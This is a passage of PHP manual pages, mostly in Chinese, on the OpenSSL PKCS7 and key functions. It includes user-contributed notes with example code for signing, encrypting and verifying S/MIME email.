encrypted content

If you have no headers in what you are encrypting then anything before the 1st blank line is regarded as headers and doesn't appear in the content of your message.

openssl_pkcs7_encrypt() creates the entire encrypted portion so if you do not include any headers in your infile then you will find that some of your message may be treated as headers unless you make the first line of your file a blank line.

There is also an error in the way the "From" S/MIME header is coded on the call to openssl_pkcs7_encrypt().

So the example, to work 100% correctly needs to read as follows:

// the message you want to encrypt and send to your secret agent
// in the field, known as nighthawk.  You have his certificate
// in the file nighthawk.pem
//
//Note the first line must be blank as i am providing no headers inside the secure portion of the mail.
$data = <<<EOD

Nighthawk,

Top secret, for your eyes only!

The enemy is closing in! Meet me at the cafe at 8.30am
to collect your forged passport!

HQ
EOD;

// load key
$key = implode("", file("my.pem"));

// save message to file
$fp = fopen("msg.txt", "w");
fwrite($fp, $data);
fclose($fp);

// encrypt it
if (openssl_pkcs7_encrypt("msg.txt", "enc.txt", $key,
  array("To" => "you@yourdomain.com", // keyed syntax
         "From" => "HQ <hq@cia.com>", // indexed syntax
         "Subject" => "Eyes only")))
{
   // message encrypted - send it!
  exec(ini_get("sendmail_path") . " < enc.txt");
}

Now,  I wanted to make a couple of other enhancements. My email contained html content and must be formatted when displayed in the email client and I also wanted to use temporary file names to allow multiple users to use the script at the same time. Finally, I wanted to remove these temporary files afterwards.

Here is how the example ends up with these additional enhancements:

<?

// the message you want to encrypt and send to your secret agent
// in the field, known as nighthawk.  You have his certificate
// in the file my.pem
//
//Note the blank line  following the Content-type header
//
$data = <<<EOD
MIME-Version: 1.0
Content-type: text/html; charset=iso-8859-1

<html>
<b>Nighthawk</b>,
<h1>Top secret, for your eyes only!</h1>
<p>The enemy is closing in! Meet me at the cafe at 8.30am
to collect your forged passport!</p>
<p>HQ</p>
</html>
EOD;

// load key
$key = implode("", file("my.pem"));

// generate a unique temporary file name.  Use .txt for the clear text version and .enc for the encrypted version.
$clearfile = tempnam("temp","email") . ".txt";
$encfile = $clearfile . ".enc";
$clearfile .= ".txt";

$fp = fopen($clearfile, "w");
fwrite($fp, $data);
fclose($fp);

// encrypt it
if (openssl_pkcs7_encrypt($clearfile,$encfile, $key,
  array("To" => "you@yourdomain.com", // keyed syntax
         "From" => "HQ <hq@cia.com>", // indexed syntax
         "Subject" => "Eyes only")))
{
   // message encrypted - send it!
  exec(ini_get("sendmail_path") . " < $encfile");

};
// now erase the temp files
unlink($clearfile);
unlink($encfile);

?>
msisolak at yahoo dot com 28-May-2002 12:14
For those trying to use this function from Windows with a key in Outlook or Outlook Express it can be tricky to figure out how to get the key exported in the format that OpenSSL is looking for.  Since all (at least all Microsoft) products share a common key store, it's easier to export the key from IE than Outlook.

In IE select Tools -> Internet Options, then the "Content" tab, and click the Certificates button.  Select your certificate from the list and click the Export button.  To encrypt email you only want your public key exported in the "Base-64 encoded X.509 (.CER)" format.  The file this procedure creates can be directly used as a key file to S/MIME encrypt with openssl-pkcs7-encrypt.
msisolak at yahoo dot com 25-Apr-2002 03:24
The example code is wrong (at least as of 4.2.0).  The recipcerts parameter is either the actual text of the base64 encoded key file, or it must be a filename in "file://..." format.  A normal path will not work (OpenSSL tries to use the path as the actual certificate).  The above code works as:

<?php
// the message you want to encrypt and send to your secret agent
// in the field, known as nighthawk.  You have his certificate
// in the file nighthawk.pem
$data = <<<EOD
Nighthawk,

Top secret, for your eyes only!

The enemy is closing in! Meet me at the cafe at 8.30am
to collect your forged passport!

HQ
EOD;

// load key
$key = implode("", file("my.pem"));

// save message to file
$fp = fopen("msg.txt", "w");
fwrite($fp, $data);
fclose($fp);

// encrypt it
if (openssl_pkcs7_encrypt("msg.txt", "enc.txt", $key,
    array("To" => "example@example.com", // keyed syntax
          "From: HQ <hq@cia.com>", // indexed syntax
          "Subject" => "Eyes only")))
{
    // message encrypted - send it!
    exec(ini_get("sendmail_path") . " < enc.txt");
}
?>

[You can also pass an array of recipcerts values, but I haven't used that so I don't know what it's expecting.]


将 PKCS7 文件导出为 PEM 格式证书的数组

  • ? openssl_pkcs7_encrypt
  • openssl_pkcs7_sign ?
  • PHP Manual
  • OpenSSL 函数
  • 将 PKCS7 文件导出为 PEM 格式证书的数组

openssl_pkcs7_read

(PHP 7 >= 7.2.0, PHP 8)

openssl_pkcs7_read — 将 PKCS7 文件导出为 PEM 格式证书的数组

说明

openssl_pkcs7_read(string $data, array &$certificates): bool

Warning

本函数还未编写文档，仅有参数列表。

参数

data

想要解析的字符串数据（p7b 格式）。

certificates

PEM 格式证书的数组，来源于输入的 p7b 数据。

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 根据 P7B 文件获取 PEM 数组

<?php

$file = 'certs.p7b';

$f = file_get_contents($file);
$p7 = array();
$r = openssl_pkcs7_read($f, $p7);

if ($r === false) {
printf("ERROR: %s is not a proper p7b file".PHP_EOL, $file);
for($e = openssl_error_string(), $i = 0; $e; $e = openssl_error_string(), $i++)
printf("SSL l%d: %s".PHP_EOL, $i, $e);
exit(1);
}

print_r($p7);
?>

参见

  • openssl_csr_sign() - 用另一个证书签署 CSR（或者本身）并且生成一个证书

User Contributed Notes

There are no user contributed notes for this page.


对一个 S/MIME 消息进行签名

  • ? openssl_pkcs7_read
  • openssl_pkcs7_verify ?
  • PHP Manual
  • OpenSSL 函数
  • 对一个 S/MIME 消息进行签名

openssl_pkcs7_sign

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

openssl_pkcs7_sign — 对一个 S/MIME 消息进行签名

说明

openssl_pkcs7_sign(
string $input_filename,
string $output_filename,
OpenSSLCertificate|string $certificate,
OpenSSLAsymmetricKey|OpenSSLCertificate|array|string $private_key,
?array $headers,
int $flags = PKCS7_DETACHED,
?string $untrusted_certificates_filename = null
): bool

openssl_pkcs7_sign() 获取名为 input_filename 的文件内容，并使用由 certificate 和 private_key 指定的证书和与之匹配的私钥对其进行加密

参数

input_filename

你打算用来进行数字签名的输入文件。

output_filename

将写入数字签名的文件。

certificate

用来对 input_filename 进行数字签名的 X.509 证书，参见 密钥/证书参数获取可用列表。

private_key

private_key 是对应 certificate 证书的私钥。 参见 公/私钥参数获取可用列表。

headers

headers是一个包含头信息的数组，在它被签名后，它将被预先对数据进行预处理 (参见 openssl_pkcs7_encrypt() 获取关于该参数格式的更多信息)。

flags

flags 可以用来改变输出 - 参见 PKCS7常量。

untrusted_certificates_filename

untrusted_certificates_filename 指定一个文件的名称，其中包含一组含有签名的额外的证书，这些证书可以用来帮助接收者验证您使用的证书。

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.0.0 | certificate 现在接受 OpenSSLCertificate 实例；之前接受类型 OpenSSL X.509 CSR 的 resource。
8.0.0 | private_key 现在接受 OpenSSLAsymmetricKey 或 OpenSSLCertificate 实例；之前接受类型 OpenSSL key 或 OpenSSL X.509 CSR 的 resource。

示例

Example #1 openssl_pkcs7_sign() 示例

<?php
// the message you want to sign so that recipient can be sure it was you that
// sent it
$data = <<<EOD

You have my authorization to spend $10,000 on dinner expenses.

The CEO
EOD;
// save message to file
$fp = fopen("msg.txt", "w");
fwrite($fp, $data);
fclose($fp);
// encrypt it
if (openssl_pkcs7_sign("msg.txt", "signed.txt", "file://mycert.pem",
array("file://mycert.pem", "mypassphrase"),
array("To" => "joes@example.com", // keyed syntax
"From: HQ <ceo@example.com>", // indexed syntax
"Subject" => "Eyes only")
)) {
// message signed - send it!
exec(ini_get("sendmail_path") . " < signed.txt");
}
?>

User Contributed Notes

spam at isag dot melbourne 08-Oct-2019 12:23
If you want to use mail() with headers, then you'll need to alter the signed version before embedding in the body or the headers and boundaries will end up in the message.

<?php
openssl_pkcs7_sign($basedir . 'email.txt', $basedir . 'signed.txt', 'file://' . $basedir . 'cert.pem', array('file://' . $basedir . 'key.pem', $keypass), array('To' => $smime_to, 'From' => $smime_from, 'Subject' => $smime_subject));
if (preg_match('/To: [^\r\n]+(\r|\n)+(From: [^\r\n]+(\r|\n)+)Subject: [^\r\n]+(\r|\n)+MIME-Version: [^\r\n]+(\r|\n)+(Content-Type: [^\r\n]+)(\r|\n)+/', file_get_contents($basedir . 'signed.txt'), $matches))
{
    $result = mail($smime_to, $smime_subject, str_replace($matches[0], '', file_get_contents($basedir . 'signed.txt')), $mailheaders . $matches[2] . $matches[6]);
}
?>

With the signed headers removed ($matches[0]) and the headers updated with From (not part of mail()) and Content-Type ($matches[2] / $matches[6] respectively).
jcmichot at usenet-fr dot net 22-Nov-2017 07:12
Due to lack of example the following code may be useful to some.

# Demo code for openssl_pkcs7_sign() and openssl_pkcs7_encrypt() to sign and encrypt for Paypal EWP.
#
# generate and self sign certificat
# % openssl genrsa -out my-private-key.pem 2048
# % openssl req -new -key my-private-key.pem -x509 -days 3650 -out my-public-key.pem
#

function demo_paypal_encrypt( $webform_hash )
{
    $MY_PUBLIC_KEY = "file:///usr/local/etc/paypal/my-public-key.pem";
    $MY_PRIVATE_KEY = "file:///usr/local/etc/paypal/my-private-key.pem";
    $PAYPAL_PUBLIC_KEY = "file:///usr/local/etc/paypal/paypal_cert_pem.txt";

    //Assign Build Notation for PayPal Support
    $webform_hash['bn']= 'MyWebRef.PHP_EWP2';

    $data = "";
    foreach ($webform_hash as $key => $value)
        if ($value != "")
            $data .= "$key=$value\n";

    $file_msg = sprintf( "/tmp/pp-msg-%d.txt", getmypid() );
    $file_sign = sprintf( "/tmp/pp-sign-%d.mpem", getmypid() );
    $file_bsign = sprintf( "/tmp/pp-sign-%d.der", getmypid() );
    $file_enc = sprintf( "/tmp/pp-enc-%d.txt", getmypid() );

    if ( file_exists( $file_msg ) ) unlink( $file_msg );
    if ( file_exists( $file_sign ) ) unlink( $file_sign );
    if ( file_exists( $file_bsign ) ) unlink( $file_bsign );
    if ( file_exists( $file_enc ) ) unlink( $file_enc );

    $fp = fopen( $file_msg, "w" );
    if ( $fp ) {
        fwrite($fp, $data );
        fclose($fp);
        }

    // sign part of html form message
    openssl_pkcs7_sign(
        $file_msg,
        $file_sign,
        $MY_PUBLIC_KEY,
        array( $MY_PRIVATE_KEY, "" ), /// private key, password
        array(),
        PKCS7_BINARY
        );

    // convert PEM to DER
    $pem_data = file_get_contents( $file_sign );
    $begin = "Content-Transfer-Encoding: base64";
    $pem_data = trim( substr($pem_data, strpos($pem_data, $begin)+strlen($begin)) );
    $der = base64_decode( $pem_data );

    $fp = fopen( $file_bsign, "w" );
    if ( $fp ) {
        fwrite($fp, $der );
        fclose($fp);
        }

    // you could verify correct DER signature by:
    // % openssl smime -verify -CAfile $MY_PUBLIC_KEY -inform DER -in $file_bsign

    //encrypt the message, with Paypal public key
    openssl_pkcs7_encrypt(
        $file_bsign,
        $file_enc,
        $PAYPAL_PUBLIC_KEY,
        array(),
        PKCS7_BINARY,
        OPENSSL_CIPHER_3DES  );

    $data = file_get_contents( $file_enc );
    $data = substr($data, strpos($data, $begin)+strlen($begin));
    $data = "-----BEGIN PKCS7-----\n".  trim( $data ) . "\n-----END PKCS7-----";

    // cleanup
    if ( file_exists( $file_msg ) ) unlink( $file_msg );
    if ( file_exists( $file_sign ) ) unlink( $file_sign );
    if ( file_exists( $file_bsign ) ) unlink( $file_bsign );
    if ( file_exists( $file_enc ) ) unlink( $file_enc );

    return( $data );
}
Anonymous 08-Feb-2013 04:35
A note about the $flags parameter: PKCS7_BINARY has 2 effects:
* converts LF to CR+LF, as described in http://www.php.net/manual/en/openssl.pkcs7.flags.php
* it creates an opaque pkcs7 signature (p7m)

If you want to prevent the LF->CR+LF conversion *and* still have a detached signature (p7s), use PKCS7_BINARY | PKCS7_DETACHED (both flags are set).

If the signed message is already MIME multi-part, using both flags as described above seems to be the right solution to assemble the message properly. Without any flags, apparently only some of the LF characters are converted. In a specific scenario (the local MTA is Postfix and then the message goes through sendmail on another machine), the MIME boundaries get scrambled in sendmail. However, this doesn't seem to happen if the local MTA is sendmail.
ungdi at hotmail dot com 11-Feb-2010 05:34
Amongst the many discussions about signing or encrypting email by itself, none really discuss the pain of having an email BOTH signed AND encrypted.

According to RFC 2311, you can encrypt then sign or sign then encrypt. However, it depends on the client in which you are programming for. In my experience, in Outlook 2000, it prefers it Encrypt then Sign. While in Outlook 2003, it is Sign then Encrypt. Generally, you want Sign then Encrypt, as it seems most logical from a snail-mail piece point of view. You first sign a letter than put it in an envelope. Certain clients complain if you do it in an order it does not like, so you may want to experiement with it.

When you perform the first function, do NOT put in any headers in the headers array parameters, you want to put it in the SECOND function you want to perform. If you put the headers in the first function, the second function will hide it from the mail servers. You do not want that. Here I will sign then encrypt.

<?php
// Setup mail headers.
$headers = array("To" => "someone@nowhere.net",
     "From" => "noone@somewhere.net",
     "Subject" => "A signed and encrypted message.");

// Sign the message first
openssl_pkcs7_sign("msg.txt","signed.txt",
     "signing_cert.pem",array("private_key.pem",
     "password"),array());

// Get the public key certificate.
$pubkey = file_get_contents("cert.pem");

//encrypt the message, now put in the headers.
openssl_pkcs7_encrypt("signed.txt", "enc.txt",
     $pubkey,$headers,0,1);

$data = file_get_contents("enc.txt");

// separate header and body, to use with mail function
//  unfortunate but required, else we have two sets of headers
//  and the email client doesn't decode the attachment
$parts = explode("\n\n", $data, 2);

// send mail (headers in the Headers parameter will override those
//  generated for the To & Subject parameters)
mail($mail, $subject, $parts[1], $parts[0]);
?>

Note that if you use a function that picks up the data from the disk to be used in another function in your program, remember that you may have used the explode("\n\n",$data,2) function which may have removed the spacing between the header and the message content.

When you take the signed message and feed it in to the encryption part, you have to remember that the line spacing must also be fed AS PART OF THE MESSAGE BODY! If you plan to sign then encrypt, do not feed the header output from the signing into the encrypting as part of the headers array parameter! The output of the signing should stay as part of the message body being encrypted. (And the same is true if you are doing the reverse of encrypting then signing.) An example of both the signing and encryption function made in to a routine for reusability, and then called to sign and encrypt a message.

THIS IS WRONG!:
<?php
// [0] of Array contains headers of message. [1] of Array contains signed body of message.
$signedOutputArray = signMessage($inputMessage,$headers);

// [0] of Array contains headers of message and the signing.
// [1] of Array contains encrypted body of message without the signing header.
$signedAndEncryptedArray = encryptMessage($signedOutputArray[1],
     $signedOutputArray[0]);

mail($emailAddr,$subject,$signedAndEncryptedArray[1],
      $signedAndEncryptedArray[0]);
?>

THIS IS CORRECT!
<?php
// [0] of Array contains headers of signing.
// [1] of Array contains signed body of message.
$signedOutputArray = signMessage($inputMessage,array());

// [0] of Array contains headers of message.
// [1] of Array contains encrypted contents of both the signed message and its headers of the signing.
$signedAndEncryptedArray =
     encryptMessage($signedOutputArray[0] . "\n\n" . $signedOutputArray[1],$headers);

mail($emailAddr,$subject,$signedAndEncryptedArray[1],
     $signedAndEncryptedArray[0]);
?>
yurchenko dot anton at gmail dot com 01-Feb-2009 10:13
I also spent hours when trying to find the reason of error:
"error getting private key".

Sometimes this error appeared, sometimes not.

My solution is using the realpath() for every parameter of openssl_pkcs7_sign. In my case the code looks like:

<?php
$Certif_path = 'certificate/mycertificate.pem';

$clearfile = "certificate/random_name";
$encfile = $clearfile . ".enc";
$clearfile = $clearfile . ".txt";

// ----
// -- fill $clearfile with the mail to be signed ...
// ----

openssl_pkcs7_sign(realpath($clearfile),
                           realpath('.').'/'.$encfile, // because $encfile does not exist yet we cannot use realpath($encfile);
                           'file://'.realpath($Certif_path),

                           array('file://'.realpath($Certif_path), PUBLIC_KEY),

                           array("To" => TO_EMAIL,
                                 "From" => FROM_EMAIL,
                                 "Subject" => ""),

                           PKCS7_DETACHED));

?>
ungdi at hotmail dot com 10-Feb-2007 01:10
I would like to make a modification from my previous note. Some clients prefer a certain order in which messages should be signed and encrypted (if both is desired). Newer email clients, such as Thunderbird and Outlook 2003 will accept the most secure method of "sign -> encrypt -> sign again".

Why?

The first signing authenticates the message saying that you did indeed write it. Then the email is encrypted so that only the recipient can open and read it. Then the second signing ensure confidentiality by identifying that the person encrypting is the one whom encrypted it, a message intended for the decrypting person. This is the most secure method. This ensures: Non-Repudiation of message (first sign), Confidentiality (encrypt), and Context Integrity [you were intended to be addressed] (second sign).

If you only sign then encrypt, there is no way you can guarantee that (aside from the contents of the letter, headers are placed in plain text outside the message) that the message was intended for you by the original sender. For example:

Bob signs a love letter and encrypts it to Amy saying only "I love you. -- Bob". Amy decrypts it, sees the message (and plays a joke) and forwards the message to John using John's public key, re-encrypting, but not tampering with the message contents keeping the signature valid. This allows Amy to make it look like Bob sent John a love letter and that Bob loves John, as you cannot verify whom sent it during encryption. That is not what you want!

This is also analogous to someone taking a government document, put it in an envelope themselves and write the government address in the return address and send it to you. You know the letter is written by the government, but you don't know for sure whether the government sent it to you directly or was opened and relayed.

While encrypting then signing has a problem, this is affectively signing on the envelope of a snail mail piece. I know you sent it, but is the message really from you? Or are you forwarding it?

Sign - Encrypt - Sign Again method will make the first sign show that you know the writer of the message is the person, encrypt it to keep others from reading it, sign again to indicate the message was not relayed and that the sender intended to sent the mail to address you.

Just make sure the headers of the mail is applied in the last step and not the second or third step.

For more information about the security and integrity risks of this situation, please read this web page: http://world.std.com/~dtd/sign_encrypt/sign_encrypt7.html
dmitri at gmx dot net 04-Apr-2006 01:01
Working example:

<?php

$data = <<< EOF
Content-Type: text/plain;
    charset="us-ascii"
Content-Transfer-Encoding: 7bit

You have my authorization to spend 10,000 on dinner expenses.
The CEO
EOF;

$fp = fopen("msg.txt", "w");
fwrite($fp, $data);
fclose($fp);

$headers = array("From" => "me@email.com");

openssl_pkcs7_sign("msg.txt", "signed.txt", "file://email.pem", array("file://email.pem", "123456"), $headers);

$data = file_get_contents("signed.txt");

$parts = explode("\n\n", $data, 2);

mail("you@email.com", "Signed message.", $parts[1], $parts[0]);

echo "Email sent";

?>
maarten at xolphin dot nl 11-Feb-2005 02:24
It is also possible to sign message including attachments. An easy way to do this:

<?php
  $boundary = md5(uniqid(time()));
  $boddy = "MIME-Version: 1.0\n";
  $boddy .= "Content-Type: multipart/mixed; boundary=\"" . $boundary. "\"\n";
  $boddy .= "Content-Transfer-Encoding: quoted-printable\n\n";
  $boddy .= "This is a multi-part message in MIME format.\n\n";
  $boddy .= "--$boundary\n";
  $boddy .= "Content-Type: text/plain; charset=\"iso-8859-1\"\n";
  $boddy .= "Content-Transfer-Encoding: quoted-printable\n\n";
  $boddy .= $EmailText . "\n\n";
  // Add the attachment to the message
  do  {
    $boddy .= "--$boundary\n";
    $boddy .= "Content-Type: application/pdf; name=\"FileName\"\n";
    $boddy .= "Content-Transfer-Encoding: base64\n";
    $boddy .= "Content-Disposition: attachment;\n\n";
    $boddy .= chunk_split(base64_encode($file)) . "\n\n";
  } while ( {files left to be attached} );
  $boddy .= "--$boundary--\n";

  // Save message to a file
  $msg = 'msg.txt';
  $signed = 'signed.txt';
  $fp = fopen($msg, "w");
  fwrite($fp, $boddy);
  fclose($fp);

  // Sign it
  if (openssl_pkcs7_sign($msg, $signed, 'file://cert.pem',
    array('file://key.pem', 'test'),
    array("To" => "joes@example.com", // keyed syntax
         "From: HQ <ceo@example.com>", // indexed syntax
         "Subject" => "Eyes only"), PKCS7_DETACHED, 'intermediate_cert.pem' )) {
    exec(ini_get('sendmail_path') . ' < ' . $signed);
  }
?>

The same can be established by using the PEAR package Mail_Mime in combination with openssl_pkcs7_sign.
Maciej_Niemir at ilim dot poznan dot pl 17-Oct-2003 07:46
This command doesn't work correctly on WIN32 with IIS. Mails aren?t interpreted correctly by IIS SMTP Server (and by Outlook too). The reason is that UNIX and WINDOWS interpret the ?enter to the next line? ascii code in a different way.

Below I present an improved code:

<?php

$data = <<<EOD

Testing 123

This is a test

Test

EOD;

//save the message to a file
$fp = fopen("msg.txt","w");
fwrite($fp,$data);
fclose($fp);

//sign the message using the sender's keys
openssl_pkcs7_sign("msg.txt", "signed.eml", "file://c:/max/cert.pem",
array("file://c:/max/priv.pem","your_password"),
array("To" => "recipient <recipients@mail.com>",
"From" => "sender <sender@mail.com>",
"Subject" => "Order Notification - Test"),PKCS7_DETACHED,"c:\max\extra_cert.pem");

$file_arry = file("signed.eml");
$file = join ("", $file_arry);
$message = preg_replace("/\r\n|\r|\n/", "\r\n", $file);

$fp = fopen("c:\Inetpub\mailroot\Pickup\signed.eml", "wb");
flock($fp, 2);
fputs($fp, $message);
flock($fp, 3);
fclose($fp);

?>

Besides, if you want to use the keys created with Windows, you should export them (from IE) to the form of PKCS#12 file (*.pfx).

Install OpenSSLWin32 from
http://www.shininglightpro.com/search.php?searchname=Win32+OpenSSL

execute: openssl.exe

enter the commands:

pkcs12 -in <pfx-file> -nokeys -out <pem-certs-file>

pkcs12 -in <pfx-file> -nocerts -nodes -out <pem-key-file>

Next export from IE Root CA certificate as Base-64 *.cer and rename the file to *.pem

And that's all!
php at toyingwithfate dot com 23-Sep-2003 02:55
It's probably worth noting that I had a great deal of difficulty getting either Mozilla 1.4 or Outlook Express 6 to verify signatures generated by openssl_pkcs7_sign() until I added a newline (\n) to the beginning of the message I was signing.  Not sure why that is, but as soon as I made that change all problems disappeared.
del at babel dot com dot au 03-May-2002 03:09
The "mycert.pem" parameters as shown in the example above are not correct.  You either have to pass a string containing the PEM encoded certificate or key, or the location of a file in file://path/to/file.pem notation.  See the comments on the OpenSSL functions page (the page above this one).
meint dot post at bigfoot dot com 04-Sep-2001 04:35
If you want to integrate PKCS7 signing/verifying with a browser and it's not a problem that it's only Internet Explorer (or Netscape + ActiveX plugin) you can look at Capicom. It's a free component and available at the MSDN website.


校验一个已签名的 S/MIME 消息的签名

  • ? openssl_pkcs7_sign
  • openssl_pkey_derive ?
  • PHP Manual
  • OpenSSL 函数
  • 校验一个已签名的 S/MIME 消息的签名

openssl_pkcs7_verify

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

openssl_pkcs7_verify — 校验一个已签名的 S/MIME 消息的签名

说明

openssl_pkcs7_verify(
string $input_filename,
int $flags,
?string $signers_certificates_filename = null,
array $ca_info = [],
?string $untrusted_certificates_filename = null,
?string $content = null,
?string $output_filename = null
): bool|int

openssl_pkcs7_verify() 读取给定文件中的 S/MIME 消息并且检查数字签名。

参数

input_filename

消息的路径。

flags

flags 可以用来影响如何校验签名 - 参见 PKCS7 常量 获取更多信息。

signers_certificates_filename

如果已指定 signers_certificates_filename 输出文件，它应该是一个用以保存文件的字符串名称，签名消息的个人证书将以 PEM 的格式保存起来。

ca_info

如果 ca_info 被指定了，它应该保存关于受信任的CA证书的信息供在验证过程中使用 - 参见 证书校验 获取关于该参数的更多信息。

untrusted_certificates_filename

如果 untrusted_certificates_filename 被指定了，该文件包含了一堆会被作为不受信任的ca使用的证书。

content

你可以使用 content 来指定带有已被验证数据的文件名，该文件内容已去掉了签名信息。

output_filename

返回值

如果签名已被认证，返回 true, 如果不正确 (消息已被篡改或者签名证书不可用) 则返回 false, 或者 - 错误时返回1.

更新日志

版本 | 说明
8.0.0 | signers_certificates_filename、untrusted_certificates_filename、content 和 output_filename 现在可为 null。
7.2.0 | 新增 output_filename 参数。

注释

Note: 正如 RFC 2045 中指定的，input_filename 参数最多不可超过 76 个字符串。

User Contributed Notes

reg1barclay at REMOVETHIS dot live dot it 08-Sep-2018 06:05
To verify a .p7m file with openssl_pkcs7_verify() you must convert it to S/MIME format. For example...
<?php
function der2smime($file)
{
    $to=<<<TXT
MIME-Version: 1.0
Content-Disposition: attachment; filename="smime.p7m"
Content-Type: application/x-pkcs7-mime; smime-type=signed-data; name="smime.p7m"
Content-Transfer-Encoding: base64
\n
TXT;
    $from=file_get_contents($file);
    $to.=chunk_split(base64_encode($from));
    return file_put_contents($file,$to);
}
?>
Krzychu 06-Dec-2013 09:34
To read signed message in base64 (not encrypted with priv&pub key):

You can just decode content by "base64_decode" or "imap_base64" functions and then erase by hand(regexp) sign from bottom of mail. Unfortunately  in my case (mail from Outlook) that  message (decoded by "base64_decode") has some additional special chars in some places (ie. before every attachment encoded base_64) what make message e-mail unable to parse.

After couple of hours I solved this:
It's needed to save single e-mail and use 2x "openssl_pkcs7_verify" function in row on original email (with headers and content in base64 ):
  1st use - extract sign (certificate) from e-mail and save to file *.cert
  2nd use - extract (with use that *.cert file) decoded message to  file*.out

Code:
  $handle  =  imap_open('mailbox.eml', '', '');

  $msg = 'home/john/tmp/email1.eml';
  imap_savebody($handle, $msg,  1);

  openssl_pkcs7_verify($msg, 0, $msg . '.cert');
  openssl_pkcs7_verify($msg, 0, $msg . '.cert', array(), $msg . '.cert', $msg.'.out');

  $email_content = file_get_contents($msg . '.out');


Computes shared secret for public value of remote and local DH or ECDH key

  • ? openssl_pkcs7_verify
  • openssl_pkey_export_to_file ?
  • PHP Manual
  • OpenSSL 函数
  • Computes shared secret for public value of remote and local DH or ECDH key

openssl_pkey_derive

(PHP 7 >= 7.3.0, PHP 8)

openssl_pkey_derive — Computes shared secret for public value of remote and local DH or ECDH key

说明

openssl_pkey_derive(OpenSSLAsymmetricKey|OpenSSLCertificate|array|string $public_key, OpenSSLAsymmetricKey|OpenSSLCertificate|array|string $private_key, int $key_length = 0): string|false

openssl_pkey_derive() takes a set of a public_key and private_key and derives a shared secret, for either DH or EC keys.

参数

public_key

public_key is the public key for the derivation. See Public/Private Key parameters for a list of valid values.

private_key

private_key is the private key for the derivation. See Public/Private Key parameters for a list of valid values.

key_length

If not zero, will set the desired length of the derived secret.

返回值

The derived secret on success 或者在失败时返回 false.

示例

Example #1 openssl_pkey_derive() example

<?php
// Load in private key
$priv = openssl_pkey_get_private("-----BEGIN PRIVATE KEY-----
MIICJgIBADCCARcGCSqGSIb3DQEDATCCAQgCggEBAJLxRCaZ933uW+AXmabHFDDy
upojBIRlbmQLJZfigDaSA1f9YOTsIv+WwVFTX/J1mtCyx9uBcz0Nt2kmVwxWuc2f
VtCEMPsmLsVXX7xRUFLpyX1Y1IYGBVXQOoOvLWYQjpZgnx47Pkh1Ok1+smffztfC
0DCNt4KorWrbsPcmqBejXHN79KvWFjZmXOksRiNu/Bn76RiqvofC4z8Ri3kHXQG2
197JGZzzFXHadGC3xbkg8UxsNbYhVMKbm0iANfafUH7/hoS9UjAVQYtvwe7YNiW/
HnyfVCrKwcc7sadd8Iphh+3lf5P1AhaQEAMytanrzq9RDXKBxuvpSJifRYasZYsC
AQIEggEEAoIBAGwAYC2E81Y1U2Aox0U7u1+vBcbht/OO87tutMvc4NTLf6NLPHsW
cPqBixs+3rSn4fADzAIvdLBmogjtiIZoB6qyHrllF/2xwTVGEeYaZIupQH3bMK2b
6eUvnpuu4Ytksiz6VpXBBRMrIsj3frM+zUtnq8vKUr+TbjV2qyKR8l3eNDwzqz30
dlbKh9kIhZafclHfRVfyp+fVSKPfgrRAcLUgAbsVjOjPeJ90xQ4DTMZ6vjiv6tHM
hkSjJIcGhRtSBzVF/cT38GyCeTmiIA/dRz2d70lWrqDQCdp9ArijgnpjNKAAulSY
CirnMsGZTDGmLOHg4xOZ5FEAzZI2sFNLlcw=
-----END PRIVATE KEY-----
");

// Load in public key
$pub = openssl_pkey_get_public("-----BEGIN PUBLIC KEY-----
MIICJDCCARcGCSqGSIb3DQEDATCCAQgCggEBAJLxRCaZ933uW+AXmabHFDDyupoj
BIRlbmQLJZfigDaSA1f9YOTsIv+WwVFTX/J1mtCyx9uBcz0Nt2kmVwxWuc2fVtCE
MPsmLsVXX7xRUFLpyX1Y1IYGBVXQOoOvLWYQjpZgnx47Pkh1Ok1+smffztfC0DCN
t4KorWrbsPcmqBejXHN79KvWFjZmXOksRiNu/Bn76RiqvofC4z8Ri3kHXQG2197J
GZzzFXHadGC3xbkg8UxsNbYhVMKbm0iANfafUH7/hoS9UjAVQYtvwe7YNiW/Hnyf
VCrKwcc7sadd8Iphh+3lf5P1AhaQEAMytanrzq9RDXKBxuvpSJifRYasZYsCAQID
ggEFAAKCAQAiCSBpxvGgsTorxAWtcAlSmzAJnJxFgSPef0g7OjhESytnc8G2QYmx
ovMt5KVergcitztWh08hZQUdAYm4rI+zMlAFDdN8LWwBT/mGKSzRkWeprd8E7mvy
ucqC1YXCMqmIwPySvLQUB/Dl8kgau7BLAnIJm8VP+MVrn8g9gghD0qRCgPgtEaDV
vocfgnOU43rhKnIgO0cHOKtw2qybSFB8QuZrYugq4j8Bwkrzh6rdMMeyMl/ej5Aj
c0wamOzuBDtXt0T9+Fx3khHaowjCc7xJZRgZCxg43SbqMWJ9lUg94I7+LTX61Gyv
dtlkbGbtoDOnxeNnN93gwQZngGYZYciu
-----END PUBLIC KEY-----
");

// Outputs the hex version of the derived key
echo bin2hex(openssl_pkey_derive($pub,$priv));

User Contributed Notes

There are no user contributed notes for this page.


将密钥导出到文件中

  • ? openssl_pkey_derive
  • openssl_pkey_export ?
  • PHP Manual
  • OpenSSL 函数
  • 将密钥导出到文件中

openssl_pkey_export_to_file

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

openssl_pkey_export_to_file — 将密钥导出到文件中

说明

openssl_pkey_export_to_file(
OpenSSLAsymmetricKey|OpenSSLCertificate|array|string $key,
string $output_filename,
?string $passphrase = null,
?array $options = null
): bool

openssl_pkey_export_to_file() 将 ascii 格式（PEM 编码）的 key 保存到名为 output_filename 文件中。

Note: 必须安装有效的 openssl.cnf 以保证此函数正确运行。参考有关安装的说明以获得更多信息。

参数

key

output_filename

输出文件的路径。

passphrase

密钥可以通过值为passphrase的密码来保护。

options

options 可以用来调整导出流程，通过指定或者覆盖openssl配置文件选项。参见 openssl_csr_new() 获取更多关于 options 的信息。

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.0.0 | key 现在接受 OpenSSLAsymmetricKey 或 OpenSSLCertificate 实例；之前接受类型 OpenSSL key 或 OpenSSL X.509 的 resource。

User Contributed Notes

StampyCode 05-Jul-2016 03:26
On Linux (PHP5.6), this function will overwrite an existing keyfile, unless the keyfile is marked as read-only, in which case you will get an error:

    error:0200100D:system library:fopen:Permission denied
